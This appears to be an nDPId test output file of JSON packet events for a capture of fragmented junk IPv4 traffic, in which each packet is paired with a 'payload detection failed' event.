+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605925,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605937,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605950,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605963,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":605990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606003,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606017,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606057,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606097,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606110,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606123,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606163,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606220,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606233,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606246,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606300,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606427,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606454,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606467,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606480,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":606493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 